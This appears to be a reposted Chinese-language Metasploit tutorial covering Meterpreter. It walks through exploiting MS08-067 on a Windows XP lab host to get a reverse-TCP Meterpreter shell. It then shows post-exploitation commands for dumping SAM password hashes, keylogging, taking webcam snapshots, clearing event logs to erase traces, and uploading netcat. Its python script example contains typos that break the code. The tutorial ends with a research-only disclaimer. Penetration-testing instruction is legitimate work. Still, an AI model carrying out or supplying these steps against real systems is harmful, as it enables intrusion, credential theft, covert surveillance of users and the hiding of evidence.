metasploit framework——metepreter
前言
本节学习metepreter
1、简介
-
高级、动态、可扩展的 payload
-
基于 metepreter 上下文利用更多漏洞发起攻击
-
后渗透测试阶段一站式操作界面
完全基于内存的 DLL 注入式 payload (不写硬盘)
-
注入合法系统进程并建立 stager
-
基于 stager 上传和预加载 dll 进行扩展模块 TLS/1.0 通信隧道
-
利用 TLS 隧道进一步加载后续扩展模块(避免网络取证)
服务端使用 c 语言编写
客户端提供基于 ruby 的全特性 API(支持任何语言)
1、简单使用
msfconsole
msf > meterpreter
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.1.121 #winxp
msf exploit(ms08_067_netapi) > set target 34 #winxp
msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > set lhost 192.168.1.113 #kali
msf exploit(ms08_067_netapi) > set lport 4444
msf exploit(ms08_067_netapi) > exploit -j #启动
msf exploit(ms08_067_netapi) > sessions -l #查看窗口
msf exploit(ms08_067_netapi) > sessions -i 1 #打开反弹过来的shell,这是个meterpreter的shell
2、查看帮助
meterpreter > help
核心命令
=============
命令 描述
------- -----------
? 帮助菜单
background 背景当前会话
bgkill 杀死一个背景meterpreter脚本
bglist 列出运行后台脚本
bgrun 执行一个meterpreter脚本作为后台线程
channel 显示信息或控制活动频道
close 关闭频道
disable_unicode_encoding 禁用unicode字符串的编码
enable_unicode_encoding 启用unicode字符串的编码
exit 终止meterpreter会话
get_timeouts 获取当前会话超时值
guid 获取会话GUID
help 帮助菜单
info 显示有关Post模块的信息
irb 进入irb脚本模式
load 加载一个或多个meterpreter扩展
machine_id 获取连接到会话的计算机的MSF ID
migrate 将服务器迁移到另一个进程
pivot 管理数据透视监听器
quit 终止meterpreter会话
read 从频道读取数据
resource 运行存储在文件中的命令
run 执行meterpreter脚本或Post模块
sessions 快速切换到另一个会话
set_timeouts 设置当前会话超时值
sleep Force Meterpreter安静,然后重新建立会话。
transport 更改当前的传输机制
use 不推荐使用“加载”别名
uuid 获取当前会话的UUID
write 将数据写入通道
Stdapi: 文件系统命令
============================
命令 描述
------- -----------
cat 将文件的内容读取到屏幕上
cd 更改目录
checksum 检索文件的校验和
cp 将源复制到目标
dir 列表文件(ls的别名)
download 下载文件或目录
edit 编辑一个文件
getlwd 打印本地工作目录
getwd 打印工作目录
lcd 更改本地工作目录
lls 列出本地文件
lpwd 打印本地工作目录
ls 列出文件
mkdir 建立目录
mv 将源移到目标
pwd 打印工作目录
rm 删除指定的文件
rmdir 删除目录
search 搜索文件
show_mount 列出所有安装点/逻辑驱动器
upload 上传文件或目录
Stdapi: 网络命令
===========================
命令 描述
------- -----------
arp 显示主机ARP缓存
getproxy 显示当前的代理配置
ifconfig 显示界面
ipconfig 显示界面
netstat 显示网络连接
portfwd 将本地端口转发到远程服务
resolve 解析目标上的一组主机名
route 查看和修改路由表
Stdapi: 系统命令
=======================
Command Description
------- -----------
clearev 清除事件日志
drop_token 放弃任何活动的模拟令牌。
execute 执行一个命令
getenv 获取一个或多个环境变量值
getpid 获取当前的进程标识符
getprivs 尝试启用当前进程可用的所有权限
getsid 获取运行服务器的用户的SID
getuid 获取服务器正在运行的用户
kill 终止一个过程
localtime 显示目标系统的本地日期和时间
pgrep 按名称过滤进程
pkill 按名称终止进程
ps 列出运行的进程
reboot 重新启动远程计算机
reg 修改远程注册表并与之交互
rev2self 在远程机器上调用RevertToSelf()
shell 放入系统命令外壳
shutdown 关闭远程计算机
steal_token 尝试从目标进程中盗取模拟令牌
suspend 暂停或恢复进程列表
sysinfo 获取有关远程系统的信息,例如OS
Stdapi: 用户界面命令
===============================
命令 描述
------- -----------
enumdesktops 列出所有可访问的桌面和窗口工作站
getdesktop 获取当前meterpreter桌面
idletime 返回远程用户闲置的秒数
keyscan_dump 转储按键缓冲区
keyscan_start 开始捕捉击键
keyscan_stop 停止捕获击键
screenshot 获取交互式桌面的屏幕截图
setdesktop 更改meterpreters当前桌面
uictl 控制一些用户界面组件
Stdapi: Webcam 命令
=======================
命令 描述
------- -----------
record_mic 从默认麦克风录制音频X秒
webcam_chat 开始视频聊天
webcam_list 列出网络摄像头
webcam_snap 从指定的摄像头拍摄快照
webcam_stream 从指定的摄像头播放视频流
Priv: Elevate Commands
======================
命令 描述
------- -----------
getsystem 尝试将您的特权提升为本地系统的特权。
Priv: 密码数据库命令
================================
命令 描述
------- -----------
hashdump 转储SAM数据库的内容
Priv: Timestomp 命令
========================
命令 描述
------- -----------
timestomp 操纵文件MACE属性
3、一些使用
meterpreter > execute -f cmd.exe
meterpreter > ps
meterpreter > getuid
meterpreter > getpid
meterpreter > clearev # 清除日志,消除痕迹
#上传文件
meterpreter > upload /usr/share/windows-binaries/nc.exe c:\windows\system32
msf exploit(windows/smb/ms08_067_netapi) > sessions -l
msf exploit(windows/smb/ms08_067_netapi) > sessions -i 1
#读取密码
meterpreter > hashdump # 读取密码
meterpreter > run post/windows/gather/hashdump # 读取密码,两个命令差不多
#shell
meterpreter > shell
#arp
meterpreter > arp #看arp缓存
#netstat
meterpreter > netstat #看网络信息
#路由表
meterpreter > route
#目标的空闲时间
meterpreter > idletime #多久没做操作了,可以估摸目标机的使用者可能不在计算机前
#摄像头
meterpreter > webcam_list #查看连着的摄像头
meterpreter >webcam_snap -i 1 -v false #每隔一秒拍一下
4、python 扩展
2015 年11月份,来自社区贡献
无需运行环境,在客户端运行原生 python 代码
meterpreter > load python
meterpreter > python_execute "print ('hello world')" #简单的print
meterpreter > python_execute "import os; cd = os.getcwd()" -r cd
meterpreter > python_import -f find.py #调用脚本
脚本find.py #查找win.ini
import os
for root,dirs,files in os.walk("c://"):
for file in files:
if file.endwith(".ini" ) and file.startwith("win"):
print(os.path.john(root,file))
结语
一站式payload
红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。其核心团队于2022年转型于信息安全研究院,并为政企提供安全服务与技术支持。
© Honker Security Commando
原文始发于微信公众号(中龙 红客突击队):metasploit framework——metepreter
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论